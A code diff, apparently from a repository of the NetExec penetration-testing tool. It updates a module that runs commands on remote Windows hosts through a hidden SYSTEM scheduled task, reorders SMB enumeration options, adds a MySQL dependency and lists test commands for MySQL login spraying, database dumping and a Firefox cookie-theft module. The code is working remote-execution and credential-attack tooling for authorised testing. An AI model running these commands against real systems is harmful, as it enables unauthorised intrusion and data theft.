<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
||||
<WakeToRun>false</WakeToRun>
|
||||
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
|
||||
<Priority>7</Priority>
|
||||
</Settings>
|
||||
<Actions Context="LocalSystem">
|
||||
<Exec>
|
||||
<Command>cmd.exe</Command>
|
||||
"""
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
<Triggers>
|
||||
<RegistrationTrigger>
|
||||
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
|
||||
</RegistrationTrigger>
|
||||
</Triggers>
|
||||
<Principals>
|
||||
<Principal id="LocalSystem">
|
||||
<UserId>{self.run_task_as}</UserId>
|
||||
<RunLevel>HighestAvailable</RunLevel>
|
||||
</Principal>
|
||||
</Principals>
|
||||
<Settings>
|
||||
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
|
||||
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
|
||||
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
|
||||
<AllowHardTerminate>true</AllowHardTerminate>
|
||||
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
|
||||
<IdleSettings>
|
||||
<StopOnIdleEnd>true</StopOnIdleEnd>
|
||||
<RestartOnIdle>false</RestartOnIdle>
|
||||
</IdleSettings>
|
||||
<AllowStartOnDemand>true</AllowStartOnDemand>
|
||||
<Enabled>true</Enabled>
|
||||
<Hidden>true</Hidden>
|
||||
<RunOnlyIfIdle>false</RunOnlyIfIdle>
|
||||
<WakeToRun>false</WakeToRun>
|
||||
<ExecutionTimeLimit>P3D</ExecutionTimeLimit>
|
||||
<Priority>7</Priority>
|
||||
</Settings>
|
||||
<Actions Context="LocalSystem">
|
||||
<Exec>
|
||||
<Command>cmd.exe</Command>
|
||||
"""
|
||||
if self.__retOutput:
|
||||
self.__output_filename = "\\Windows\\Temp\\" + gen_random_string(6)
|
||||
if fileless:
|
||||
local_ip = self.__rpctransport.get_socket().getsockname()[0]
|
||||
argument_xml = f" <Arguments>/C {command} > \\\\{local_ip}\\{self.__share_name}\\{self.__output_filename} 2>&1</Arguments>"
|
||||
file_location = "\\Windows\\Temp\\" if self.output_file_location is None else self.output_file_location
|
||||
if self.output_filename is None:
|
||||
self.__output_filename = os.path.join(file_location, gen_random_string(6))
|
||||
else:
|
||||
argument_xml = f" <Arguments>/C {command} > {self.__output_filename} 2>&1</Arguments>"
|
||||
self.__output_filename = os.path.join(file_location, self.output_filename)
|
||||
argument_xml = f" <Arguments>/C {command} > {self.__output_filename} 2>&1</Arguments>"
|
||||
|
||||
elif self.__retOutput is False:
|
||||
argument_xml = f" <Arguments>/C {command}</Arguments>"
|
||||
@@ -120,13 +130,15 @@ class TSCH_EXEC:
|
||||
xml += argument_xml
|
||||
|
||||
xml += """
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
"""
|
||||
return xml
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
"""
|
||||
|
||||
def execute_handler(self, command, fileless=False):
|
||||
# Removing identation for the final XML file
|
||||
return dedent(xml)
|
||||
|
||||
def execute_handler(self, command):
|
||||
dce = self.__rpctransport.get_dce_rpc()
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
@@ -134,86 +146,76 @@ class TSCH_EXEC:
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
|
||||
tmpName = gen_random_string(8)
|
||||
|
||||
xml = self.gen_xml(command, fileless)
|
||||
xml = self.gen_xml(command)
|
||||
|
||||
self.logger.debug(f"Task XML: {xml}")
|
||||
self.logger.info(f"Creating task \\{tmpName}")
|
||||
self.logger.info(f"Creating task \\{self.task_name}")
|
||||
try:
|
||||
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
|
||||
# Windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
tsch.hSchRpcRegisterTask(dce, f"\\{tmpName}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
tsch.hSchRpcRegisterTask(dce, f"\\{self.task_name}", xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
except Exception as e:
|
||||
if e.error_code and hex(e.error_code) == "0x80070005":
|
||||
self.logger.fail("ATEXEC: Create schedule task got blocked.")
|
||||
self.logger.fail("Task scheduling was blocked.")
|
||||
elif e.error_code and hex(e.error_code) == "0x80070534":
|
||||
self.logger.fail(f"User {self.run_task_as} does not have a valid winstation, cannot run the task on its behalf.")
|
||||
else:
|
||||
self.logger.fail(str(e))
|
||||
return
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{tmpName}")
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{tmpName}")
|
||||
self.logger.debug(f"Calling SchRpcGetLastRunInfo for \\{self.task_name}")
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, f"\\{self.task_name}")
|
||||
if resp["pLastRuntime"]["wYear"] != 0:
|
||||
done = True
|
||||
else:
|
||||
sleep(2)
|
||||
|
||||
self.logger.info(f"Deleting task \\{tmpName}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
|
||||
self.logger.info(f"Deleting task \\{self.task_name}")
|
||||
tsch.hSchRpcDelete(dce, f"\\{self.task_name}")
|
||||
|
||||
if self.__retOutput:
|
||||
if fileless:
|
||||
while True:
|
||||
try:
|
||||
with open(os.path.join(TMP_PATH, self.__output_filename)) as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except OSError:
|
||||
sleep(2)
|
||||
else:
|
||||
":".join(map(str, self.__rpctransport.get_socket().getpeername()))
|
||||
smbConnection = self.__rpctransport.get_smb_connection()
|
||||
|
||||
tries = 1
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
try:
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing powershell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
smbConnection = self.__rpctransport.get_smb_connection()
|
||||
|
||||
tries = 1
|
||||
# Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
|
||||
sleep(0.4)
|
||||
while True:
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.deleteFile(self.__share, self.__output_filename)
|
||||
except Exception:
|
||||
pass
|
||||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if tries >= self.__tries:
|
||||
self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
|
||||
break
|
||||
if "STATUS_BAD_NETWORK_NAME" in str(e):
|
||||
self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
|
||||
break
|
||||
elif "STATUS_VIRUS_INFECTED" in str(e):
|
||||
self.logger.fail("Command did not run because a virus was detected")
|
||||
break
|
||||
# When executing PowerShell and the command is still running, we get a sharing violation
|
||||
# We can use that information to wait longer than if the file is not found (probably av or something)
|
||||
if "STATUS_SHARING_VIOLATION" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
|
||||
self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} tries left, deducting 10 tries and retrying...")
|
||||
tries += 10
|
||||
sleep(1)
|
||||
else:
|
||||
self.logger.debug(f"Exception when trying to read output file: {e!s}. {self.__tries - tries} tries left, retrying...")
|
||||
tries += 1
|
||||
sleep(1)
|
||||
|
||||
try:
|
||||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
|
||||
smbConnection.deleteFile(self.__share, self.__output_filename)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
dce.disconnect()
|
||||
@@ -96,4 +96,4 @@ def upgrade_to_dploot_connection(target, connection=None):
|
||||
conn.connect()
|
||||
except Exception:
|
||||
return None
|
||||
return conn
|
||||
return conn
|
||||
@@ -42,21 +42,22 @@ def proto_args(parser, parents):
|
||||
mapping_enum_group.add_argument("--interfaces", action="store_true", help="Enumerate network interfaces")
|
||||
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
|
||||
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'READ' 'WRITE' or 'READ,WRITE'")
|
||||
mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="Enumerate active smb sessions")
|
||||
mapping_enum_group.add_argument("--disks", action="store_true", help="Enumerate disks")
|
||||
mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
|
||||
mapping_enum_group.add_argument("--loggedon-users", nargs="?", const="", help="Enumerate logged on users, if a user is specified than a regex filter is applied.")
|
||||
mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="Enumerate domain users, if a user is specified than only its information is queried.")
|
||||
mapping_enum_group.add_argument("--users-export", help="Enumerate domain users and export them to the specified file")
|
||||
mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="Enumerate domain groups, if a group is specified than its members are Enumerated")
|
||||
mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="Enumerate computer users")
|
||||
mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="Enumerate local groups, if a group is specified then its members are Enumerated")
|
||||
mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="Enumerate computer users")
|
||||
mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy")
|
||||
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="Enumerate users by bruteforcing RIDs")
|
||||
mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="Enumerate active smb sessions")
|
||||
mapping_enum_group.add_argument("--reg-sessions", type=str, nargs="?", const="", help="Enumerate users sessions using the Remote Registry. If a username is given, filter for it. If a file is given, filter for listed usernames. If no value is given, list all.")
|
||||
mapping_enum_group.add_argument("--loggedon-users", nargs="?", const="", help="Enumerate logged on users, if a user is specified than a regex filter is applied.")
|
||||
mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
|
||||
mapping_enum_group.add_argument("--qwinsta", type=str, nargs="?", const="", help="Enumerate user sessions. If a username is given, filter for it; if a file is given, filter for listed usernames. If no value is given, list all.")
|
||||
mapping_enum_group.add_argument("--tasklist", type=str, nargs="?", const=True, help="Enumerate running processes and filter for the specified one if specified")
|
||||
mapping_enum_group.add_argument("--taskkill", type=str, help="Kills a specific PID or a proces name's PID's")
|
||||
|
||||
|
||||
wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries")
|
||||
wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
|
||||
wmi_group.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace")
|
||||
|
||||
@@ -36,4 +36,4 @@ def get_conditional_action(baseAction):
|
||||
x.required = True
|
||||
super().__call__(parser, namespace, values, option_string)
|
||||
|
||||
return ConditionalAction
|
||||
return ConditionalAction
|
||||
@@ -462,4 +462,4 @@ class wmi(connection):
|
||||
self.logger.highlight(line.strip())
|
||||
return output
|
||||
else:
|
||||
return output
|
||||
return output
|
||||
Generated
+22
-6
@@ -1,4 +1,4 @@
|
||||
# This file is automatically @generated by Poetry 2.1.1 and should not be changed by hand.
|
||||
# This file is automatically @generated by Poetry 2.1.3 and should not be changed by hand.
|
||||
|
||||
[[package]]
|
||||
name = "aardwolf"
|
||||
@@ -687,7 +687,7 @@ description = "Backport of PEP 654 (exception groups)"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["dev"]
|
||||
markers = "python_version < \"3.11\""
|
||||
markers = "python_version == \"3.10\""
|
||||
files = [
|
||||
{file = "exceptiongroup-1.2.2-py3-none-any.whl", hash = "sha256:3111b9d131c238bec2f8f516e123e14ba243563fb135d3fe885990585aa7795b"},
|
||||
{file = "exceptiongroup-1.2.2.tar.gz", hash = "sha256:47c2edf7c6738fafb49fd34290706d1a1a2f4d1c6df275526b62cbb4aa5393cc"},
|
||||
@@ -865,7 +865,7 @@ all = ["flake8 (>=7.1.1)", "mypy (>=1.11.2)", "pytest (>=8.3.2)", "ruff (>=0.6.2
|
||||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.13.0.dev0+20250527.165759.abfaea2b"
|
||||
version = "0.13.0.dev0+20250813.95021.3e63daef"
|
||||
description = "Network protocols Constructors and Dissectors"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
@@ -890,7 +890,7 @@ six = "*"
|
||||
type = "git"
|
||||
url = "https://github.com/Pennyw0rth/impacket.git"
|
||||
reference = "HEAD"
|
||||
resolved_reference = "abfaea2b613cab86a94ae7e5edbf5801ef347f30"
|
||||
resolved_reference = "3e63daef1dbb29bcbed0414f801403158f0e07d2"
|
||||
|
||||
[[package]]
|
||||
name = "iniconfig"
|
||||
@@ -1742,6 +1742,22 @@ files = [
|
||||
{file = "pylnk3-0.4.3.tar.gz", hash = "sha256:fbc5f512b581382c2a4c11e6df3796f9975bcfd99e3fca2afe531ea61b3c4ac2"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pymysql"
|
||||
version = "1.1.1"
|
||||
description = "Pure Python MySQL Driver"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "PyMySQL-1.1.1-py3-none-any.whl", hash = "sha256:4de15da4c61dc132f4fb9ab763063e693d521a80fd0e87943b9a453dd4c19d6c"},
|
||||
{file = "pymysql-1.1.1.tar.gz", hash = "sha256:e127611aaf2b417403c60bf4dc570124aeb4a57f5f37b8e95ae399a42f904cd0"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
ed25519 = ["PyNaCl (>=1.4.0)"]
|
||||
rsa = ["cryptography"]
|
||||
|
||||
[[package]]
|
||||
name = "pynacl"
|
||||
version = "1.5.0"
|
||||
@@ -2301,7 +2317,7 @@ description = "A lil' TOML parser"
|
||||
optional = false
|
||||
python-versions = ">=3.8"
|
||||
groups = ["dev"]
|
||||
markers = "python_version < \"3.11\""
|
||||
markers = "python_version == \"3.10\""
|
||||
files = [
|
||||
{file = "tomli-2.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678e4fa69e4575eb77d103de3df8a895e1591b48e740211bd1067378c69e8249"},
|
||||
{file = "tomli-2.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:023aa114dd824ade0100497eb2318602af309e5a55595f76b626d6d9f3b7b0a6"},
|
||||
@@ -2463,4 +2479,4 @@ files = [
|
||||
[metadata]
|
||||
lock-version = "2.1"
|
||||
python-versions = ">=3.10,<4.0"
|
||||
content-hash = "e02f61c9bb3bccd22fc51f90a9e09552afe50cb309155959dbb3ff06fea4d736"
|
||||
content-hash = "7b50455f855e5affd89ac1746a4e2acfe89ce8bc94670e003dfd11fa67dac75a"
|
||||
+2
-1
@@ -46,6 +46,7 @@ dependencies = [
|
||||
"impacket @ git+https://github.com/Pennyw0rth/impacket.git",
|
||||
"oscrypto @ git+https://github.com/wbond/oscrypto",
|
||||
"pynfsclient @ git+https://github.com/Pennyw0rth/NfsClient",
|
||||
"pymysql (>=1.1.1,<2.0.0)",
|
||||
]
|
||||
|
||||
[project.urls]
|
||||
@@ -99,7 +100,7 @@ preview = true
|
||||
[tool.ruff.lint]
|
||||
select = [
|
||||
"E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT",
|
||||
"Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "LOG", "RUF"
|
||||
"Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "LOG", "RUF", "W"
|
||||
]
|
||||
ignore = [
|
||||
"A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106",
|
||||
|
||||
@@ -79,6 +79,7 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M empire_e
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_av
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns -o DOMAIN=google.com
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_interfaces
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M firefox -o COOKIES=True
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
|
||||
@@ -282,6 +283,16 @@ netexec ftp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --get test_file.txt
|
||||
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
|
||||
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
|
||||
netexec ftp TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
|
||||
##### MySQL
|
||||
netexec mysql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD
|
||||
netexec mysql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --databases
|
||||
netexec mysql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --tables mysql
|
||||
netexec mysql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --dump-database mysql
|
||||
netexec mysql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD --server-capabilities
|
||||
netexec mysql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD -q "SELECT VERSION()"
|
||||
netexec mysql TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce
|
||||
netexec mysql TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce --continue-on-success
|
||||
netexec mysql TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE
|
||||
##### NFS
|
||||
netexec nfs TARGET_HOST -u "" -p "" --shares
|
||||
netexec nfs TARGET_HOST -u "" -p "" --enum-shares
|
||||
|
||||
Reference in new issue
Block a user